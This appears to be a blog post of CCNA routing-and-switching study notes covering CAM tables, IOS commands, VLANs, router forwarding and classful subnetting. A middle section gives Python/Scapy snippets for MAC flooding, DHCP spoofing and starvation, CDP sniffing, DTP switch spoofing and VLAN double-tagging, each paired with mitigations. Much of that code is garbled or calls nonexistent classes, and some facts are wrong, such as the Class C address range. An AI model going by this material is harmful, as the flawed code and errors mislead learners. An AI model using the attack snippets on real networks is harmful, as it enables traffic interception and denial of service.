networking

Routing & Switching

Routing & Switching

In part 1 of my recaps, I touched up on the core foundations of CCNA 1 material, along with some concepts and hurdles people learning often run into.

This section, is probably one of the harsher portions of the material to digest — primarily because of the dense capacity of information combined with routing protocols and subnetting. Here is round two of my condensed roundup to help solidify knowledge. If you would prefer to view the full compilation of notes, feel free to check out my repo.

Whenever you see the term ingress in reference to ports, think of in since it references where frames enter a port and egress references where they exit it.

Things are more interesting when discussing Content Addressable Tables (CAM tables), not just because of attacks associated with them, but because they’re fundamental to how switches know which ports to send frames to.

Switches need to learn about the devices connected to each port, so they build a special table populated with MAC addresses that forwards frames out of ALL ports when incoming frames aren't found within.

When a switch receives a frame on a certain port, the MAC address it's coming from uses the table to run a comparison. If it finds an address, it resets an aging timer and records the information.

There are a few forwarding methods switches use, but the two most important to remember are store-and-forward and cut-through.

  • Store-and-forward uses a CRC (Cyclic Redundancy Check) and drops anything that doesn’t pass.
  • Cut-through switching forwards frames before they’re totally received and promotes fragment free and rapid frame forwarding for speed.

With rapid frame forwarding, the forwarding decisions are made as soon as the destination MAC is looked up within the address table. The switch doesn’t need to wait for the entire frame before making a decision, which makes the process significantly faster, but prone to corrupted frames, impacting bandwidth efficiency.

With fragment-free forwarding, the switch waits for a collision window, or the 64 bytes of a frame to pass through before forwarding, but lacks error checks like cut-through methods. This helps reduce forwarding collision fragments while still avoiding heavier error-checking processes used in store-and-forward.

It’s important to familiarize yourself with collision and broadcast domains for the exam, since they tie directly into how switches assist with LAN segmentation and network services.

IOS Commands to Know

I have a separate cheat sheet covering IOS commands here but I’m going to touch on a few important ones. When using commands like configure terminal and interface you're moving through different configurations modes (global and interface). Before you can enter global configuration mode, you first need to move into privileged EXEC mode using enable (or en) prior to running conf t or configure terminal.

Another useful reminder is the do command. Prefixing a command with do allows you to execute privileged EXEC commands from within other configuration modes without needing to fully exit. In other words, it lets you temporarily bypass the mode you’re currently working in to run commands like show directly from configuration mode.

Always run a check with no shutdown on interfaces while you're setting up addresses, because the default state is generally down. If you're unsure of the current state of an interface, try sh ip int br (show ip interface brief) to list.

I won’t get into how switches attempt to boot using information from the BOOT environment variable, but I’ll list a few commands to be aware of. You can use tab in IOS like other command-line environments and abbreviate statements like show with sh to conserve time.

/* Basic switch management access (IPv4)

*/switch 
conf t
switch(config) int vlan 99
switch(config) ip address 192.168.1.1 255.255.255.0
switch(config) no shut 
switch(config) end
switch copy run start // running-config startup-config

*/switch 
conf t
switch(config) int vlan 99
switch(config) ip address 192.168.1.1 255.255.255.0
switch(config) no shut 
switch(config) end 
switch copy run start // running-config startup-config

Verification commands

/* Show commands useful to know */

sh int [int-ID] // Display an interfaces status/config
show start // Display startup config 
sh run // Display current config
sh flash // Display information about the flash file system
sh ver // Display the system hardware/software status
sh history // Display the history of commands entered
sh ip [int-ID] // display IP information about an int
sh mac-address-table OR sh mac address-table // Display MAC table

CAM Overflows
DHCP Spoofing/Starvation
CDP Leveraging

There are a few lower layer attacks that can be performed with tools like macof and yersinia.

CAM overflows involve MAC flooding and the age-out periods used in MAC tables. Remember how MAC entries reset their timer when seen again in a populated table? 😊 That matters because switches have limited CAM table space, and flooding them with fake MAC addresses can fill the table quickly. Once overloaded, a switch may enter fail-open behavior and begin broadcasting traffic out of all ports like a hub. Tools can generate hundreds of thousands of MAC entries per minute, keeping the table saturated and broadcasts flowing across the network.

I have provided an example below:

import secrets

def generate_mac_flood(n):
    mac_add = []
    for _ in range(1, n+1): # Create fake addresses
        mac_add.append(''.join(map(str, secrets.token_bytes(6).decode().split(':')))))
        time.sleep(1) # CAM table age-out process 

    return mac_add

n = 1000000
fake_mac_addresses = generate_mac_flood(n)
print(fake_mac_addresses[:10]) # Print fake addresses

Generate fake MAC addresses and print them. Delay mimics CAM table age-outs.

Mitigation: Port security limits the number of valid MAC addresses allowed on a port. Anything not explicitly permitted is denied and triggers a security violation. The switchport port-security command is used to configure this.

DHCP spoofing and starvation attacks work by flooding DHCP requests, creating a Denial of Service, or by introducing rogue DHCP responses that hand out fake network configurations like malicious DNS or WINS settings.

Spoofing Example:

from scapy.layers.dhcp import DHCPServer, DHCPDiscover
from scapy.all import sendp, sniff

# Create a DHCP server response packet with our own DNS server address
response = DHCPServer()
response.yiaddr='192.168.1.100'
response.siaddr='192.168.1.200'  # Our malicious DNS server

# Send the modified DHCP response back to the victim
sniff(prune=['DHCP'], count=1)[0].send(response)

Starvation Example:

from scapy.all import *

def flood_network():
    # Create a DHCP request packet
    dhcp_request = Dot11EAPRequest()
    dhcp_request.set_flag(EAP_Request)
    dhcp_request.type = 0x00
    dhcp_request.id = 0x01

    # Send the DHCP request to the target
    sendp(dhcp_request, verbose=0)

def starve_network():
    for _ in range(10000):
        # Create a random packet of data
        rand_packet = RandBytes()

        # Send the random packet to the target
        sendp(rand_packet, verbose=0)
        
flood_network()
starve_network()

Mitigation: Features like port security and DHCP snooping using ip dhcp snooping global configuration mode can help mitigate these attacks. Trusted ports can be defined with ip dhcp snooping trust, while bogus DHCP request rates can be limited with ip dhcp snooping limit rate. Additional protections such as Source Guard should also be considered and any unused ports shut down.

This brings us to Cisco Discovery Protocol leverage attacks. CDP is proprietary and helps to discover connected Cisco devices while setting up auto-configurations for them. It’s on by default, sets up these configurations with unencrypted broadcasts and puts them into a localized database. Tools like Wireshark can capture a significant amount of information about network devices and traffic.

CDP attack example:

  • Captures CDP packets/decodes them with CDPServer. It assumes you have source/destination MACs in the exchange.
from scapy.all import *
from scapy.layers.cdp import CDPServer

# Set up a filter to only capture CDP packets
cdp_filter = 'ether src host <source_mac> or ether dst host <destination_mac>'
sniff(iface="eth0", prn=process_packet, filter=cdp_filter)

def process_packet(packet):
    if CDP in packet:
        print(f"CDP packet captured from {packet.src} to {packet.dst}")
        cdpserver = CDPServer()
        cdpserver.load(packet)
        print(cdpserver)

Mitigation: Disable CDP on devices and ports that don’t need it with no cdp run in global configuration.

VLAN Configurations

VLANs or Virtual Local Area Networks, provide logical network segmentation by allowing ports to belong to separate broadcast domains (data, default, native, management, voice) for different needs. A trunk is a point-to-point link between two devices that carries traffic for multiple VLANs, typically using the IEEE 802.1Q standard. 802.1Q tagging works by inserting additional VLAN Ethernet header frames as they traverse trunk links.

Switch Spoofing

A type of VLAN hijacking attack where an attacker sends specially crafted packets that cause a switch to think it should forward traffic onto a different VLAN than the one originally intended.

  • The attacker's goal is to trick the switch into thinking the attacker's computer is another switch. This is usually done by sending DTP (Dynamic Trunking Protocol) packets to negotiate a "trunk" link. Once the link becomes a trunk, the attacker has access to all VLANs.

Switch Spoofing Example:

from scapy.all import *

def switch_spoof_attack():
    # 01:00:0c:cc:cc:cc is the standard Cisco DTP multicast address.
    dtp_packet = Ether(dst="01:00:0c:cc:cc:cc") / Raw(load=b'\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00')
    
    print("Send DTP packet to spoof a switch and negotiate a trunk link...")
    return dtp_packet

if __name__ == '__main__':
    print(switch_spoof_attack().summary())

Mitigation: Switch spoofing happens because many are set to Dynamic (they will automatically become a trunk if they receive a DTP (Dynamic Trunking Protocol) request). To fix this disable DTP with `switchport nonegotiate and manually set all user-facing ports to access mode with switchport mode access


Double-tagging

Another technique used by attackers to bypass VLAN security measures; In this case, they create two VLAN tags on a single frame, allowing them to force their traffic onto a different VLAN.

  • It does NOT try to create a trunk, just exploits the Native VLAN with the attacker sending a packet with two VLAN tags. The switch strips the first (matching native VLAN) and leaves the second, which tricks the next switch into forwarding the packet to a target VLAN.

Double-Tagging Example:

from scapy.all import *

def double_tagging_attack():
    native_vlan = 10  # The attacker must be on the native VLAN
    target_vlan = 20  # The VLAN the attacker wants to reach
    
    # The structure is: Ethernet -> First Tag (Native) -> Second Tag (Target) -> Payload
    # This is the "Double Tag"
    packet = Ether() / Dot1Q(vlan=native_vlan) / Dot1Q(vlan=target_vlan) / IP(dst="192.168.20.1") / ICMP()
    
    print(f"Crafting packet: Outer Tag {native_vlan} -> Inner Tag {target_vlan}")
    return packet

if __name__ == '__main__':
    print(double_tagging_attack().summary())

Mitigation: Double-tagging works because the switch strips the Native VLAN tag and ignores a second tag. Change the Native VLAN from 1 and configure the switch to tag the native VLAN with vlan dot1q tag native. If it's tagged, the switch will not strip the first tag.


VLANs should always be changed from their defaults for security purposes:

/* Configure normal range VLANs */

switch conf t
switch(config) vlan [vlan-ID]
switch(config) name yourName
switch(config) end

// You can also assign multiple VLANs 

switch(config) vlan 100,102,105-107
switch sh vlan br // Display vlan.dat to show configurations

/* Assign ports to VLANs */ 

switch conf t
switch(config) int [int-ID]
switch(config) switchport mode access
switch(config) switchport access vlan [ID]
switch(config) end

/ * Delete VLAN information */
switch conf t
switch(config) no vlan [vlan-ID]
switch(config) end // Delete vlan.dat
switch delete flash:vlan.dat // delete flash.vlan.dat

/ * Trunk links with 802.1Q */

switch conf t
switch(config) int [ID]
switch(config-if) switchport mode trunk // Forces a link to be a trunk
switch(config-if) switchport trunk native vlan // Native VLAN:Untagged 802.1Q trunks
switch(config-if) switchport trunk allow vlan [vlan-LIST] 
switch(config-if) end

/* Adding a no in front of switchport trunk allowed vlan/native vlan resets the trunk to a default state */

Routers and Forwarding Packets

When discussing routers, it’s important to understand they perform two major functions: Determining the best possible path for traffic and forwarding packets between networks. There are three primary ways routers forward things:

  1. Process switching is the oldest method, where each packet is individually matched against the routing table to determine the correct exit interface before being forwarded, making it comparatively slow.
  2. Fast switching improves performance by caching path information so subsequent packets can be forwarded without repeated CPU-intensive lookups.
  3. CEF (Cisco Express Forwarding) further enhances efficiency by building a Forwarding Information Base (FIB) and adjacency table that contain optimized forwarding information used for high-speed packet switching.
/ * Handy commands to know */
sh ip route // Displays contents of the routing table
sh ipv6 route // Displays contents of IPv6 routing tables

Different routing protocols rely on different metrics to determine the best path. RIP (Routing Information Protocol) uses a hop count, OSPF (Open Shortest Path First) bases decisions on cumulative bandwidth from source to destination and EIGRP (Enhanced Interior Gateway Routing Protocol) looks at delay and supports unequal cost with load balancing. Load balancing improves performance by distributing traffic across multiple valid paths to the same destination on metric comparisons. Administrative Distance (AD) determines which route is installed into the routing table when multiple route sources exist — the lower the AD, the more trusted the source. Each routing protocol has its own default AD value. Routes may be configured dynamically or statically, and routing table entries are identified by specific route codes.

Classful and Classless Network Addressing

Classful network addressing was released in 1981 and used until classless routing became a thing years later. It was created to provide a way to divide addressing space in small, medium and large networks. Class A, B, C, D and E respectively. I want you to envision a this like you would a pizza pie. When a pizza isn’t cut up, nowhere near as many people can eat it, thus making the world a much darker and dim place. When you slice that sucker up however, more people get to eat and those who want more can grab a second slice.

  • Class A starts at 0: Intended for large organizations
    • 0.0.0.0 - 127.255.255.255
  • Class B starts at 10: Intended for medium-to-large organizations
    • 128.0.0.0 - 191.255.255.255
  • Class C starts at 110: Intended for medium-to-large organizations
    • 192.0.0.00 - 233.255.255.255
  • Class D starts at 1110: Reserved for multicasting and future use
  • Class E starts at 1111: Reserved for experimental and future use

It’s important to understand that subnet masks work with each class listed above and all that it does is help to define the addresses that can be used. Since this can get confusing I’ll provide another list. It’s important to understand that an octet is an informational unit consisting of 8 bit groupings and is not uncommonly used within the networking realm. Don’t freak out just yet, I’ll explain further below.

  • Class A The 1st octet identifies the network portion of the address 255.0.0.0 Remember the list above?
    This means 0.0.0.0/8 - 127.0.0.0/8 is our mask
  • Class B The first 2 octets identify the network portion of the address
  • Class C The first 3 octets identify the network portion of the address

The representations of IP’s and prefixes (our masks) exist for each range. Whenever we see a /8, /16, or /24, the /number is a prefix, so 10.10.10.1 /24 is an address with a prefix. The classes listed for IPv4 above aren't actually too scary when you space out exactly what is going on.

Let’s say we have a 255.255.255.0 mask
Try to look at it this way: Class A is X.Y.Y.Y Y being the hosts by number

If we have a /24 and need to understand how this translates:
255.255.255.0 is the value we end up with because the binary equivalent to 255 is 11111111

If we do this for every portion of our mask we get: 11111111.11111111.11111111.00000000.

We end up with /24 because we are counting each set of 1's (11111111 + 11111111 + 11111111 = 24). All we're essentially doing here when we subnet is counting the bits and looking at a mask. If you look at it this way then the 2^n-2 formula makes a lot more sense and becomes clearer.

What would be a /26? 11111111.11111111.11111111.11000000 or 24 + 2

  • We added 2 bits to the sum we had when we converted and if we convert 11000000 again, we get 192 as a number. Then we subtract.

There’s much more depth to this topic, but these are the core concepts that confuse most people. Because this is meant to stay condensed, I’ll focus on the essentials rather than diving into VLSM or more detailed CIDR notation examples.

Lastly…

There is a lot of stuff in this section of CCNA material that goes into the differences between static and dynamic routing and the varying routing protocols that you’ll begin to learn, like how routes are advertised with either distance or vector. Since this is core material most people will know, I will keep it to more fun stuff.

  • RIP (Routing Information Protocol) uses the Bellman-Ford algorithm, which is based on two algorithms
  • IGRP/EIGRP (Interior Gateway Routing Protocol/Enhanced Interior Gateway Routing Protocol) uses DUAL or the Diffusing Update algorithm
  • OSPF (Open Shortest Path First) uses Dijkstra’s algorithm. While you’re learning this, take a look into the algorithms for more depth.

At this point, you should also start to build out some sort of lab. I do realize not everyone has access to Netacad and Packet Tracer, so try to look for alternatives like GNS3 and Eve-ng.

Doing labs daily will help solidify a lot of what you learn. Check out subnetting.org for subnetting practice.

Happy learning!